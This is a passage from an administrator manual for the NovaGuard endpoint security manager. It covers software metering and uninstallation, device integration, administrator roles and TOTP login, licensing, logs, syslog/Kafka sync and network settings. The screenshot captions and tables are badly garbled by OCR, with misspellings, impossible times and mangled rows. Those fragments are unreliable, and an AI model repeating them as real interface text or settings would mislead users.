fields, including Digital Signature, Copyright, Process Description, Icon
Hash, and Product Name. You can click the corresponding button to add an
information field. To add an application information group, click Add Another

Group.

If the application has only one child process, you need to add only one
application information group. Otherwise, you need to add multiple application
information groups. Multiple information fields or an application information

group must match to identify an application uniquely.

4.6.5.3 Metering Policies

You can specify software metering policies. NovaGuard automatically collects
the operation statistics of metered software on all managed endpoints. If you

have configured an email notification, NovaGuard sends you an email in case
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of insufficient license, unauthorized software use, or license expiration.

Add Metering Policies x

*Software Name ‘ |

*Process Name ‘ Separate multiple entries with a comma |

Remarks

Authorization ()

Licensed Groups (@ Select ¥

Licensed Endpoints (@
Licenses

Expiration Date

You can click New and set the following parameters to create a metering

policy:

Software Name: The name of the software.

Process Name: The name of the process file. If two process names are the
same, the number of executions and usage duration of the corresponding
software are repeatedly metered.

Authorization: Enable it to trigger license-related alerts rather than limiting
the software usage on endpoints. You can fill in the information as needed.
Enable this on specific endpoints only.

You can click License Alert Settings to configure alert settings on events such

as insufficient license, license expiration, and use of non-commercial software.
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| Software License Anomalies

Alert Events Alert Trigger Ermail Motification
Insufficient Licenses Mumber of remaining licenses for a software application is less than 10

Licenses Expired The licenses of a software application will expire in - 30 day(s)

Endpaints Installed (N Anon-commercial sofflware application has been installed on at least 10 endpoint

After you save the settings, you can go to Endpoints > Endpoint Inventory >
Office PCs > Software Metering to view the software metering information in
columns such as Total Duration, Total Usages, Endpoints Installed,
Endpoints Installed (Non-Commercial), Licenses, Status, License

Expiration Date, and Metering Start Time.

€« Software Metering
Supported Windows 7 or lat
Expot | AddMetering Poiicies /) Metering Policies - Qlle
N... Software Name Total Dur Total Usage - Endpoints Inst. Endpoints Installed (Non-Commer. L Status License Expiration Metering Start Time Operation
1 Atnena EPP Agent - = 2 2 -~ - . 2025.071517:14:30  Reset  Edit Metering Po.
2 Notepad++ (64-bit x64) . . 1 . - . . 20250715 16:35:08  Reset  Edit Metering Po.

4.6.5.4 Software Uninstallation

Once you find a piece of non-compliant software on a managed endpoint, you
can remotely uninstall the software. This is the last action in the software

lifecycle management.

To uninstall the non-compliant software from all managed endpoints, go to
Endpoint > Endpoint Inventory > Software and click Uninstall under the

Operation column.

Software
BQotAl | Reftesh
Status Time Publisher Versions Endpoints
Antivirus App Sangfor Technologies fne. 2 3
Other Sangfor Technologies e, 1

Otner Bandisoftcom

System Sofware

System Software

System Sofware

Systom Sofware

Systom Sofware

System Sofware

System Sofware

13 busybor - System Sofware A Metering Rule
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You can also click the software name to go to the details page, select an
endpoint, and uninstall the software from only the selected endpoint.

Endpoints

whEgort | (QRefresh X Uninstalll @

B No | Version

MAC Address Group Publisher Usemame Installation Path | Configuration Flle .. Time Installed - LastAcc
1 BD2EN Ay pe(i07410318)  FEFCFE2723... Ungrouped Endp..  SangforTechnol..  SYSTEM clprogram flesist.. ciprogram filesist. 20231049 202310
7 BOZEN [ WIN-PELAGIBTUZV. . FE-FCFESC-AL,  UngroupedEndp...  SangforTechnol . SYSTEM cAprogram fles\sf..  clprogram flesisf.. 20231017 202311

3 BO22742EN [ 9ebian(10.645129)  FE-FOFEDSTI.. UngroupedEndp.. SangforTechnol.. - 5 - 20231013

After you click Uninstall, you need to create an uninstallation task.
Manual Uninstallation: You can select this method to uninstall any software.

Silent Uninstallation: You can select this method to uninstall software that

supports silent uninstallation.
Schedule: The task will be executed during the specified period.

Max Retries: If the task fails on the first try, it retries until the software is
uninstalled from the endpoint or it meets the Max Retries, whichever comes

first.

Notification: If you check this option, the endpoint user will be notified 5

minutes before and when the uninstallation starts.

Create Software Uninstallation Task X

0 Only supports some Windows endpoints. You may check the task progress in Software
Uninstallation.

Method .@. manual Uninstallation Silent Uninstallation (@
*Apply To =
*Schedule 2023-10-23  To  2023-10-23 09:00:00 To 23:69:58
*Max Retries 3 times fuve

M otification [ otify endpoint users

Content

.
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After you create an uninstallation task, you can go to Policies > App Control >

Software Uninstallation to check the task progress.

Software Uninstallation @

No.  Software Name TaskType Task Status Time Created Al Endpoints Successful Failed

Sofware Uninstallation @ ongaing 2023-10-231113:49

2 Banda Software Uninstallation © completed 2023-101817:33:25 admin

Bandizi Somware Uninstallation © completed 2023-10-1817:2743 admin

@ completed 20231018 14:11:50 admin

& completed 2023-10-1912:04:22 admin 1 0

© completed 2023-10-18 156,07 admin

7 Update for Windows 10 (KB4480730) & completed 2023-10-1219:29:07 admin 0

(OnoTE

Software uninstallation is supported only for Windows 7 and above endpoints or Windows

Server version 2012 and above.

4.7 System

On the System page, you can perform operations such as NovaGuard agent
deployment, system update, integrated device management, branch
management, account management, license management, data

synchronization, object definition, and system setting.

4.7.1 Agent Deployment

4.7.1.1 Agent Download

INoTE

For more information about NovaGuard agent deployment, refer to Chapter 2 Installation

and Deployment.

4.7.2 System Updates

INoTE
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For more information about system updates, refer to Chapter 4 Product Upgrade.

4.7.3 Integrated Devices

This feature enables NovaGuard to be integrated with NovaXDR, NovaCommand,

and NovaMDR, providing customers with a closed-loop solution from threat

discovery to threat fix. To manage integrated devices, go to System >

Integrated Devices > Devices, as shown in the following figure.

™ an the SP gy thich e ks Please fix it immediaely.  Configure Proxy Ser
NovaGuard v
Devices
—_—— ———
NovaxDR ) (NovaCommand ) NovalDR )
( ) ( )
‘Connected Devices: 0 Connected Devices: 0 Connected Devices: 0
AddDevice  ComectonKey  Refiesh Device Type ~ FirstAccess
No. | DeviceName  Device Type Device 1P Device ID Version Integration Setings Remarks  First Access Lastintegration

To view the integration configurations of different products, click How to

Connect? in the upper right corner of the Devices page.

‘The manager cannot comnect o the SP updat server, which may Casse securiy isks. Please fx it immediaely.  Configure Proxy Server
NovaGuard &

Devices

(o) (NovaGommand ) (owaoR )
Conmected Devies:0 Comected Devies 0

‘Connected Devices: 0

Device Type - | FistAccess

Device IP Device ID Version Integration Settings. Remarks st Access. Last Integration

Features supported by integrated devices

How to Connect?

~ | Lastintegration | | Device name, 1P

How to Connect?

/

v | Lastintegraion | | Device name,

Operation ®

The following table describes the features supported by devices integrated with

NovaGuard.
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NovaxDR N Y Y Y Y Y Y Y
NovaMDR N Y Y Y Y Y N Y
NovaCommand |N Y Y Y Y Y Y \4

Table 4: Features Supported by Integrated Devices

Device integration configuration

To integrate NovaGuard with any other products, go to System > System >
General, enable Device Integration, specify the duration a device can be

connected, and select TLS1.0 and TLS1.1 in the SSL/TLS Protocol section.

| Device Integration

Allow device to connect within 40 minutes

| Global Search in Asset Inventary

Enable global search in Asset Inventory (5

| Domain Mame Collection

Enahle domain name collection

| 55LTLS Protocol &

Frotocal Yersion : TLE1.0 TS0

4.7.3.1 Traffic Forwarding

NovaGuard uses the traffic forwarding feature to collect the original traffic
from a host's NIC and forward it to the NovaCommand device for threat
analysis. To enable this feature, you must integrate NovaGuard with

NovaCommand.
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Traffic Forwarding

o traffic forwarding policies have been configured yet.

To analyze events, please add a policy first

To configure a forwarding policy, click Add Policy and set the following
parameters.

Add Policy

Q1. This function is anly applicable to servers. X
2. For servers with Windows Server 2008 or eatlier, WinPeap 4.1.3 needs to be installed manually under the bin directory of the
agent installation directory:
3. For servers with ©F later than Windows Server 2008, Mpcap 1.75 needs to be installed manually. Download Link
4.With this function enabled, the agent may consurne more network bandwidth, CPU, and memory resources. The higher the
forwarding rate, the more resources reguired. [fthe forwarding rate is higher than 200 Mbps, please adjustthe resource limit as
required via Policies » General Policies = General Seftings » Agent Performance Protection to ensure agent performance and
stahility.

Status (®) Enabled Dizabled

# Policy Mame

#DstAddress
Protocol (®) vHLAN GRE
#Port
Max Forwarding Rate 10 Mhps
The agent's forwarding rate cannot excead the above lirmit, or it may cause packet loss
Flease enter an integer.
Traffic Filter Ej:- Mone A-Tuple Custom
#Azset =

Gancel

Specify the IP address of the STA device for Dst Address; select VXLAN or GRE
for Protocol; set the value of Max Forwarding Rate below 1 Gbit/s; and

specify a value for Traffic Filter, where None indicates that the traffic is
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collected without filtering and 5-Tuple indicates that the 5-tuple attributes are

collected.

4.7.4 Branches

(NoTE

For details about branch management, see Chapter 2.2.2 Cascade Deployment.

4.7.5 Administrators

4.7.5.1 Administrator Roles

You can create administrator accounts with different roles as needed. To
create an administrator account, go to System > Administrators and click

New > Local Account, as shown in the following figure.

New Administrator User X
Basics
*sername : @
Ermail Address Y]
Description :

Login Security

*Auth Policy : password Auth M

*Mew Pasgward - @
*Confirm Password |

Login Restriction Cnly allow login from specified IP addresses
Permission

"Role Security Adrin | ®

*Groups o Local Manager 4
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In the Role field, select one of the following roles as needed:

System Admin: Allowed to view the home page and configure system settings

(excluding log settings).

Security Admin: Allowed to view and configure administrators, security
policies, and security events. This role cannot perform operations on micro-
segmentation, integrated devices, reports, account management, system

updates, licensing, branches, and system settings.

Audit Admin: Can only view system information. This role cannot perform any

operations to edit, add, or delete information.

4.7.5.2 Manager Login Authentication

You can select the NovaGuard manager Auth Policy from Password Auth or
Password + TOTP. Go to System > Administrators, click New > Local
Account to create an administrator account and select Password Auth as the

Auth Policy, as shown in the following figure.

Login Security

TAuth Poliey ! Password Auth -
*Mew Password ]
*Canfirm Passwaord

Login Restriction : Cnly allow login from specified IP addresses

Password + TOTP

This two-factor authentication method requires administrators to log in to the
NovaGuard manager using their account passwords and TOTPs sent to their

mobile devices. The configuration procedure is as follows:

Go to System > Administrators. Click New in the upper right corner or Edit in
the Operation column of an existing account. Then, select Password + TOTP

for Auth Policy, as shown in the following figure.
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New Administrator User

Basics

*sername :

Email Address :

Description ;

Login Security

Fhuth Policy

*Mew Passward :

*Zonfirm Password :

*TOTP:

Login Restriction :

Permission

*Role :

FEroups |

@®

FPassword + TOTP

M ‘

5 Generate

|Password + TOTP[,

Qnly allow login from specified IP addresses

Security Admin

Local Manager

Cancel
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Click Generate and add authentication information as prompted, as shown in

the following figure.
View Details

The administrator needs to obtain a verification code by following the steps below.
Make sure thatthe time on your mobile phone is the same a3 the platform time. Configure
Flatform Tirme: UTC+2 2023-10-1917:67

m Download an authenticator app.

Install any of the following apps on your mobile phone

e & B e

Google Authenticator Freed TR Authenticator Guark Authenticator

CIGTEER  Bind your usemarme and key in the authenticator app.

Wethod 1 Scan the QR code below using the authenticator app.

Method 2 (5]

After the configuration, administrators must enter their account passwords

and TOTPs sent to their mobile devices when they log in to the NovaGuard

manager, as shown in the following figure.

Tote

[:‘9 TOTP Authentication
forse rer e verfcton ode sent 0

0

Mk sors tha
pltiorm ime
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4.7.5.3 Login Restriction Based on IP Addresses

The NovaGuard manager supports login from specified IP addresses only. On
the New Administrator User page, you can enable Only allow login from
specified IP addresses, and set IP addresses for endpoints that are allowed to

log in to the NovaGuard manager, as shown in the following figure.

New Administrator User X
Basics
*Usernarne : @
Email Address : @
Description ;

Login Security

“auth Policy: paggward Auth M

*Mew Passward - @

*Confirm Password :

Login Restriction - @ Only allow login from specified IP addresses

Permission

*Role” Security Admin = |

FGroups | Local Manager T

4.7.6 Licensing

4.7.6.1 License Types

NovaGuard provides essential and ultimate licenses, as shown in the following

figure.
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Sangfor Endpoint Secure
Capabilities
Vulnerability Scan

Remediation
Security Compliance
Asset Inventory
Prevention
Micro-Segmentation

Hot Patching

TOTP Authentication
Endpoint Behavior Data & Log
Collection

Realtime File Monitering

Ransomware Honeypot

Ransomware Protection
Ransomware Backup
Recovery

Ransomware Defense
Fileless Attack Protection
Protection |End-of-Support Windows
System Protection
RDP Secondary
Authentication (Anti-

Ransomware)
Trusted Processes (Anti
Ransomware)

Key Directory Protection

(Anti-Ransomware)

Malicious File Detection

Brute-Force Attack Detection
Improved Phishing and Web
Intrusion Detection
Coordinated Malware
Response with XDDR
'WebShell Detection
Detection |Advanced Threat Detection
Suspicious Login Detection
Suspicious Scan Detection
Memory Backdoor Detection
Reverse Shell Detection
Local Privilege Escalation
Detection

Remote Command Execution
Detection

File Quarantine
Endpoint Isalation

File Remediation

Automated Response to

R Phishing and Web Intrusion
esponse
events
Extended Detection, Defense
and Response (XDDR)

Threat Hunting

Domain Isclation

Process Blocking

Script File Upload
USB Control
T

Access Detection

Remote Support

Application Blacklist
Software Metering
Software Uninstallation
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New deployment

An official license is activated through the ForeNova Licensing Server. To
activate a trial license, contact the local sales team. For license activation

methods, see Chapter 2.2 Product Activation.

Update/Renew License

A license can be activated twice. If a license is lost after the first activation, it
can be activated again. The license information is related to the NovaGuard
manager hardware. A change in the hardware information invalidates a

license. License update/renewal is required in the following two scenarios:

1. Achange in the NovaGuard manager hardware information

Go to System > Licensing and click Renew License, as shown in the following

figure.

Licensing

Licensing

NovaGuard [EFTETTN

_enew License

ner: -
vated: 2025-07-15 10:25:32

Ultimate Edition

5/300

Used/Total Licenses
| 167%

2026-01-11

xpiration Date

5 months and 25 days

Remaining Days

1. Migrate to a new server due to an NovaGuard manager fault

In this case, go to System > Licensing and import a new license, as shown in

the following figure.

Licensing

Licensing

NovaGuard

6410610461

Gateway ID

Wethod

® Step1

Click Export Device Info button to get device information file.

Export Device Info ‘Copy Device Info

® Step2

Contact Iocal suppliers, provide exported device information file, and you will get a license key file based on your order and device information

® Step3

Import the ficense key file by clicking Import bution to get ficensed
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LlNoTE

License expiration leads to the following results:
1. NovaGuard cannot be installed on a new endpoint.
2. NovaGuard and its databases cannot be updated.

3. Neural-X and Threat Analytics are disabled.

4.7.7 Logs

You can view logs on pages such as Coordinated Action, Operations Logs,

and Admin Logs, and manually export and subscribe to reports of risks.

4.7.7.1 Security log

You can query security logs by going to System > Logs > Security Logs. These
logs mainly include security-related information, such as anti-malware,
vulnerability scan, security compliance check, intrusion detection, micro-
segmentation, server protection, USB device control, and USB device blocking,

and hacktool protection, as shown in the following figure.

Security Logs

You can first filter these logs by operation and time, and then click Expand to
filter logs by endpoint name and IP address. The filtering results can be

exported.

vaare < e v Tme 20031015 000000~ 2023-021 235950 [ Encoonn =
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4.7.7.2 Coordinated Action

On the Coordinated Action page, as shown in the following figure, you can
view logs that record the coordinated actions between NovaGuard and other
ForeNova products, such as action overview, integration time, device IP
address, device type, integration type, and integration description. NovaGuard

can be integrated with NovaXDR, NovaCommand, and NovaMDR.

Coordinated Action

All integrated devices v Type Al A Time 2025-07-15 00:00:00 ~ 2025-07-21 =) Expand m

ExporttoExcel v Refresh

No.  Integration Time *  Device IP/Do. Device Ty. Endpoint IP Address Integration Type Description Operation

You can filter logs by device name, integration type, and time, then click
Expand to filter logs by endpoint name and IP address. Once you have applied

your filters, you can export the filtering results.

4.7.7.3 Operations Logs

On the Operations Logs page, you can select Upload Script File, Remote
Support, and LDAP Sync History from the Operation drop-down list to view
three types of operations logs. The log information is displayed in columns
such as Time, Endpoint Name, IP Address, OS, Type, and Status, as shown in

the following figure.

Operations Logs

Status

If you select Upload Script File, for example, you can filter logs by status and
time, then click Expand to filter logs by script file name, endpoint name, and IP
address. Once you have applied your filters, you can export the filtering

results.
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4.7.7.4 Control Logs

In the control log, you can view what control operations have been issued to
the agent, such as: Hardware Changes, Unauthorized Outbound Access, USB

Device Control, Software Uninstallation, App Control.

4.7.7.5 Admin Logs

On the Admin Logs page, you can view information about administrative
operations performed on the NovaGuard manager in columns such as Time,
Username, IP Address, Action, Module, Description, and Result, as shown in

the following figure.

Admin Logs
Time 20231015 000000 ~ 20231021 2355050 (] Expand -
BqottoBiel v Refresh
No. | Time Usemame 1P Adcress seton Wodule Descripion Resut
1 20234019 141150 agmin 103236174 Satware Contol aton © . 6141877 064 on 1 endpoints Successtul
2 msiene0se agmin 103236178 Login EndpointSecure Man. .. Login successtl Successtul
3 01ene083 agmin 10131112195 Login EndpointSecure Man. .. Login successtl Successtul
o 0ieizoen aimin 103230178
5 ans10rensee aomin 103236174 Satware Contol Sofware Uninstalaion  Created atask 10 uninstal the sofware [Bancizol on Successtul
6 2023101911198 agmin 10131112195 Tols System Download offine secuily path dovnloader
20234019 1037201 agmin 10131112195 Login
& 2023101000483 agmin 103236174 Mody Paliies
9 2023101908493 aomin 103236178 e
1 20231019094903 aomin 103238174 Wodiy Poliies Polcy Genter Operation successtul
M 20234019084903 agmin 103238174 Edit s ingroupe
1 20234049004827 agmin 103236174 ModiyPaliies Polcy Conter Opsration success Successtul

3enties T B S S I

You can filter logs by time, then click Expand to filter logs by username and IP
address. Once you have applied your filters, you can export the filtering

results.

4.7.7.6 Reports

Export a report

You can export risk reports of all managed endpoints from the NovaGuard
manager for quick analysis and assessment of business and network security

risks. When you export a report, you can specify its name and time range, as
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shown in the following figure.

Reports

| Security Report

FPeriodic ; (®) Endpoint Risk Report @ Group
Report Mame : Default (Endpoint Risk Report) (&) Specified
Endpaint Security Report

Time Range : (®) “esterday Last ¥ days Last 30 days Specified

Export

Subscribe to reports

You can subscribe to risk reports. In the Scheduling & Distribution section,
specify the report name, report type, sending time, and recipients, as shown in

the following figure.

| Scheduling & Distribution

Enable
Repart Mame (Endpoint Risk Repart)
Periodic @
Send A @ - - 0800 -
Recipient : -

Mame Email Address Group Operation

e Periodic: Valid values are Daily, Weekly, and Monthly, which refer to reports
during one calendar day (00:00 - 24:00), calendar week (Monday - Sunday), or
calendar month (1st day to the end date of the month).

e Send At: Specify the time when a security report will be sent to the recipients.
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4.7.8 Data Sync

In the Data Sync module, you can configure the NovaGuard manager to send
data such as logs and asset information to a third-party syslog server or Kafka

server.

4.7.8.1 Syslog Reporting

On this page, you can sync the logs of NovaGuard to a syslog server over the

syslog protocol, as shown in the following figure.

Enable syslog sync @ ‘)

| Basics

Protocal @ TCP uoP @

Vulnerability Scan Security Compliance Intrusion Detection Micro-Segmentation Server Protection Advanced Threat Alerts

Encoding Format @ Unicode UTF-§ GBK

Allinfo ©

| TLS Encryption ®

Protocol: First, select the protocol supported by the syslog server. Most syslog
servers support the UDP protocol. Then, specify the IP address and port of the

syslog server.
Log Type: Select the types of logs to be synced to the syslog server.
Encoding Format: The Unicode, UTF-8, and GBK formats are supported.

Sync Mode: If you select Key Info, only a few log fields will be synced. This
mode is suitable for log retention of the Multi-Level Protection Scheme (MLPS).
If you select All Info, all log fields will be synced. This mode is suitable for a

comprehensive security log analysis after synchronization.

4.7.8.2 Kafka Reporting

On this page, you can sync the logs of NovaGuard to a third-party Kafka server,

as shown in the following figure.
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Kafka Reporting

Enable Realtime Repoarting ()

| Basics

Version v2.7.0

Peer Cluster IP Address 10.74.102.1:9092| 0]

Authentication : (@ Mo SASLIPLAIN
Test Cannectivity
| Agert Log Reporting (& [ @)
Server Topic Name test
Server Partition : 2
| Report Asset Information @ ‘)

Server Topic Mame

Server Partition :

Peer Cluster IP Address: Specify the IP address and port of the Kafka server.
Example: 2.2.2.2:9092.

Authentication: Specify the Kafka server authentication method.

Agent Log Reporting: Specify the topic name and partition for storing the

NovaGuard agent logs on the Kafka server.

Asset Info Reporting: Specify the topic name and partition for storing asset

information on the Kafka server.

4.7.9 System

In this module, you can configure system settings on the following pages:
General, Data Backup, Network, Logging Options, Deployment and
Upgrade, Alert Options, LDAP Sync, Customization, and Tools.

4.7.9.1 General

On the General page, you can configure basic system settings, including Date
and Time, Time Zone, Password Security Policies, Session Timeout Logout,

Endpoint Deletion, Remote Support, Endpoint Data Collection, Security
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Patch Download, Access Control for Device Integration, Product Features,
Domain Name Collection, SSL/TLS Protocol, SMTP Server, SSL Certificate,
Realtime Virus Detection, Cloud Security Program, and Privacy Options, as

shown in the following figures.

General

| Date and Time

2025-07-04 10:01:15 x Sync with Local PC Obtain System Time

Sync time with NTP server periodically

NTP

| Time Zone

Current Time Zone - (GMT+08:00) Beijing, Hong Kong, Kuala Lumpur, Manila, Singapore Edit

| Password Security Policies @

Maximum Password Age Enable @

Captcha Enable

Account Lockout After| 5 failed login attempts, lock account for 5 mins @

| Session Timeout Logout @

Logout Trigger Automatically log out after 120 minutes of inactivity

General

| Endpoint Deletion

Delete endpoints with the agent offline and uninstalled for 3 consecutive days (1-365) and revoke their licenses

| Remote Support

Use afixed port 22345 for remote access (@

| Endpoint Data Collection

Endpoint Detail Collection Interval (hour) 24 ®

Endpoint Status Update Interval (minute) 5 @

| Security Patch Download

The manager downloads patches on behalf of the agent if patches cannot be downloaded from patch database. () Clear Security Patches

| Access Control for Device Integration

Allow devices to register for integration within minutes

| Product Features
Glebal Search in Endpoint Inventory @

Advanced v
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General

| Domain Name Collection

Enable domain name collection

| SSL/TLS Protocol &

Protocol Version TLS1.0 Ts11

| SMTP Server

Sender Athena EPP

SMTP Server Address P

SMTP Server Port Port 551

Sender Address

Password @ ssssssse

Send Test Email

| SSL Certificate

CRT File Browse

KEY File : Browse

| Realtime Virus Detection

Enable delayed file scan (&)
Enable delayed process scan (§)

Enable compatibility mode for endpoint data security software ()

| Cloud Security Program

Join the cloud security program to integrate with cloud-based security products for enhanced capabilities

Product Integration NovaMDR NovaxDR

Protection Effect Cloud Virus Scan NovaTl Identification User Experience Improvement

| Privacy Options

I have read and agree to the Data Processing Agreement and End User License Agreement

1. Date and Time: Customize the time of the NovaGuard manager. You can
click Sync with Local PC to synchronize the time from the local computer,
or click Obtain System Time to obtain the time of the server where the
NovaGuard manager is installed. If the NovaGuard manager can access

the Internet, you can select Sync time with NTP server periodically to
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synchronize the time of the NovaGuard manager with the specified NTP

server.

2. Time Zone: Click Edit to modify the time zone of the NovaGuard manager.
The time zone of the Chinese mainland is GMT+08:00.

3. Password Security Policies: Configure password security policies,
including password expiration period, CAPTCHA verification, and
automatic account lockout after a specific number of failed login attempts
within a specified time period.

4. Session Timeout Logout: Automatically log out a user if the user stays
inactive for a specific number of minutes without performing any
operations on the NovaGuard manager.

5. Endpoint Deletion: Select whether to automatically delete an endpoint
from the NovaGuard manager and revoke its license if the endpoint stays
offline for a specific number of consecutive days.

6. Remote Support: Specify the fixed port for remote access in NovaGuard.
Through the fixed port, remote control can be implemented.

7. Endpoint Data Collection: Specify the time interval for endpoint data
collection for the Endpoint Inventory module, with a value range from 4
to 168 hours, as well as the time interval for endpoint status updates, with
a value range from 3 to 10 minutes.

8. Security Patch Download: If the NovaGuard agent cannot download
security patches due to lack of access to the Internet, the NovaGuard
manager can download the security patches on behalf of the agent. Then,
the agent downloads the security patches from the NovaGuard manager.

9. Access Control for Device Integration: Specify the maximum period
within which devices integrated with NovaGuard are allowed to access the
NovaGuard manager. To ensure the access security of integrated devices
such as NovaXDR, and NovaMDR, the integrated devices can access the
NovaGuard manager only within the specified period when this check box
is selected.

10. Product Features: Select whether to enable or disable specific product
features, including Global Search in Endpoint Inventory, Snapshot-
Based Ransomware Recovery, Advanced Threat Detection and

Response, App Blacklist, Software Uninstallation, Unauthorized
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Outbound Access Detection, and Cleanup. If you enable these features,
business continuity on endpoints may be affected. By default, these
features are disabled.

11. Domain Name Collection: If you enable this feature, the NovaGuard
manager records the processes that access malicious domain names. This
feature can be used with botnet and malicious domain name forensics
and global threat identification.

12. SSL/TLS Protocol: Protocol versions include TLS 1.0, TLS 1.1, and TLS 1.2.
By default, TLS 1.2 is enabled because it is more secure than TLS 1.0 and
TLS 1.1. To integrate NovaGuard with other devices, you must select TLS
1.0and TLS 1.1.

13. SMTP Server: Configure the SMTP server to send subscription and alert
emails. Click Send Test Email to check whether the SMTP server is
properly configured. If the configuration is successful, the specified

administrator will receive a test email, as shown in the following figure.

Dear Customer,

This is a test email, Your SMTP server is configured successfully.

14. SSL Certificate: Support exporting custom SSL certificates to NovaGuard
to achieve more secure access.

15. Realtime Virus Detection: Select whether to enable delayed file scan and
delayed process scan. We recommend that you enable delayed file scan if
NovaGuard conflicts with other software in terms of file exclusivity. After it
is enabled, the virus scan on a file will be delayed by 2 seconds when it is
detected that the file is being written to the disk. We recommend that you
enable delayed process scan if encryption software exists. After it is
enabled, the virus scan on the files associated with a process will be
delayed by 2 seconds when it is detected that the process is being started.

16. Cloud Security Program: If Join the cloud security program to
integrate with cloud-based security products for enhanced
capabilities and Allow internet-connected endpoints to upload virus-

infected files to the cloud for improved detection of threats such as
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ransomware are selected, NovaGuard will collect suspicious files to the
cloud for analysis to provide better security services. Make sure that the

NovaGuard manager is accessible at https://clt.forenova.com.

4.7.9.2 Data Backup

On the Data Backup page, you can back up and restore configurations of the

General Policies and Micro-Segmentation modules.

Data Backup

| Policies Backup and Restore
(®) Policies » General Policies Micro-Segmentation

Back up Configurations

Download Configurations

Restore Configurations
Method 1; Restore configuration from scheduled backup file

x Festare

Method 2 Restore configuration from local backup file

Browse

To export the current configurations of a module, select the module and click

Download Configurations.

You can restore configurations from scheduled backup files or local backup

files.

e To use Method 1, select a scheduled backup file from the drop-down list and
click Restore.

e To use Method 2, click Browse and select a local backup file as needed.
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4.7.9.3 Network

In the Network module, you can configure settings for the network interfaces,

routing, DNS, SSH service, and NovaGuard manager ports.

Interfaces

You need to specify an IP address for the communication between the
NovaGuard manager and NovaGuard agent and access to the NovaGuard
manager. To specify the IP address, go to System > System > Network >

Interfaces, as shown in the following figure.

Routing  Advanced

Click the name of the interface that you want to configure, as shown in the

following figure.

Edit Interface X

Status - Enabled

Mame : ethi

Description :

*P Address . | 10.74.102.43/24
]
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A\ WARNING

1. If the specified IP address is changed, endpoints installed with the NovaGuard agent and
connected to the interface will be disconnected from the NovaGuard manager and must be

redeployed. Proceed with caution.

2. The Routing and Advanced tabs are displayed if you use an ISO or OVA image for the

deployment but are not displayed if you use an offline installation package and script.

Routing

You must configure route settings for the NovaGuard manager to connect to
the Internet and communicate with endpoints. To configure a route, go to
System > System > Network > Routing, and click New, as shown in the

following figure.

Add Static Route

In the dialog box that appears, configure parameters as required, and click OK.

Add Static Route X

DstIF: 0.0.0.0

Metrmask 0.0.0.0

Mext-Hop o | 10.74.102.| ‘

Domain Connectivity Tests

After the administrator logs in to the manager, a pop-up window prompts the

administrator to perform domain connectivity tests.
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Go to the System > Network > Domain Connectivity Tests page as promoted

to start domain connectivity tests.

Advanced

To configure settings for the SSH service, DNS, NovaGuard manager access
port, proxy, and NovaGuard manager access IP addresses, go to System >

System > Network > Advanced, as shown in the following figures.

databases, and securty capabiltes, efc

he manager cannot
Network | Interfaces  Routing  Domain Connectivity Tests  Advanced
T updates of productpatches, signature

CopyDomain  Refresn

No Pupose Domain Name
updatet sanglornet 443
upaate? sanglornet 80
upe

1 Upsate K8 packages
update2 s

angiornet 443

updated sangfornet 80
sp.sangorcom 443

2 Update servie packs
download windowsupdate com443

3 Upaate Microson omcal patches downioad windowsupdate coms0
catalog st deivery.mp mictosoftcom:
download sangfor com 80
upa sangiorcomi443

Update the vuinerabilty database

connect to the P update server,

which

may cause secu

ty risks. Please fix it immedately. €

ensure that the manager

has connectiviy o ihe domain names beiow. Note: Configure the DNS server irst and

ast Tested 2025-06.06 154414

Connectty ©

© iai top: lookup upaate1.sangfor.net: 1o timeout

© aial p: lookup upaate.sangfor.net. o imeout

© dial ep: lookup

@ it ookup pcat

net: o timeout

ngfornet; o timeout

@ dial p: lookup updated sangfor net: Vo timeout

© daltcp: lookup upoated sangfornet: o timeout

© aiai p: lookup sp.sangfor.com: 10 timeout

© . lokupspt.sanglor
© it ookup sp2 sanglos

© datep ook 93 sangos

© il tep: lookup downloact windowsupdate.com: 1o timeot

© dial top: lookup downioad windowsupdate.com: Vo timeout

© dial op: lookup catalog s1.dl

© dial tep: lookup upo.sanglorcom: o timeout
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Network Interfaces Routing Domain Connectivity Tests Advanced

| SSH Service

Enable

Port : 22 ®

| DNS Server

Preferred DNS

Alternate DNS :

| Ports
Manager Access Port 443
Agent Update Port 4430

| Proxy Server

Enable
Address : IP address, domain name
Port : E.g., 8080
Username : Proxy server login username
Password :
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| Manager IP Addresses (O

IP Address/Domain Remarks Operation
10.74.47.128 Manager local IP address cannot ..
| Port Blocking
Enable @

SSH Service: Specify whether to enable the SSH service. By default, the SSH
service is disabled and will use port 22345 if you enable it. The service is
automatically disabled after eight hours. If you are not using cascade

deployment, we recommend that you do not enable the SSH service.

DNS Server: Specify the IP addresses of the DNS server for the NovaGuard
manager. The DNS service is required for the NovaGuard manager to connect

to the Internet and update the antivirus database.

Ports: Specify the port for NovaGuard manager access and for NovaGuard

agent updates.

Proxy Server: If the NovaGuard manager cannot directly connect to the
Internet and you have deployed a proxy server, you can configure the proxy
server's settings for purposes such as updating databases and using a Cloud-

Based Engine. HTTP and HTTPS proxies are supported.

Manager IP Addresses: Specify multiple NovaGuard manager IP addresses or
domain names. The NovaGuard agent will test the connectivity of the specified
IP addresses from top to bottom and connect to the first accessible IP address.

This feature solves issues in the following scenarios:
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1. Remote working
When endpoint users work in the office, the NovaGuard agent connects to the
NovaGuard manager through internal IP addresses. When endpoint users are
on a business trip or work remotely, the NovaGuard agent connects to the
NovaGuard manager through external IP addresses. This switchover ensures

continuous communication.

In this scenario, you must specify internal and external IP addresses in the

Manager IP Addresses section.

2. NovaGuard manager migration

Assume that a customer has deployed the NovaGuard agent on many endpoints
and needs to migrate the NovaGuard manager with a single IP address to a host
of new IP address ranges due to network transformation. To connect the
NovaGuard agent to the NovaGuard manager after the migration, the customer
must redeploy the NovaGuard agent on those endpoints. To avoid that issue,
the NovaGuard manager supports multiple IP addresses. You can specify the
destination IP address before the NovaGuard manager migration so that
endpoints installed with the NovaGuard agent can connect to the NovaGuard

manager after migration.

In this scenario, you must specify both the source and destination IP addresses

in the Manager IP Addresses section.

Port Blocking: If you enable port blocking, the host where the NovaGuard
manager is located only enables the ports used by NovaGuard, such as ports

443, 4430, 8083, and 54120.

4.7.9.4 Logging Options

On the Logging Options page, you can set the mechanism for automatic log
cleanup. Logs that can be automatically deleted include security logs,
coordinated action logs, operation logs, and admin logs. You can set the

maximum preservation time for logs before they are automatically deleted to 7
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to 1,095 days. By default, automatic log cleanup is enabled. You can set the
expected number of log preservation days and log storage usage for triggering
alerts in the Alert Triggers area. To set the rules, go to System > System >

Logging Options, as shown in the following figure.
Logging Options

| Alert Triggers

Log preserved more than : 180 days
Log storage usage exceeds: | 7q %

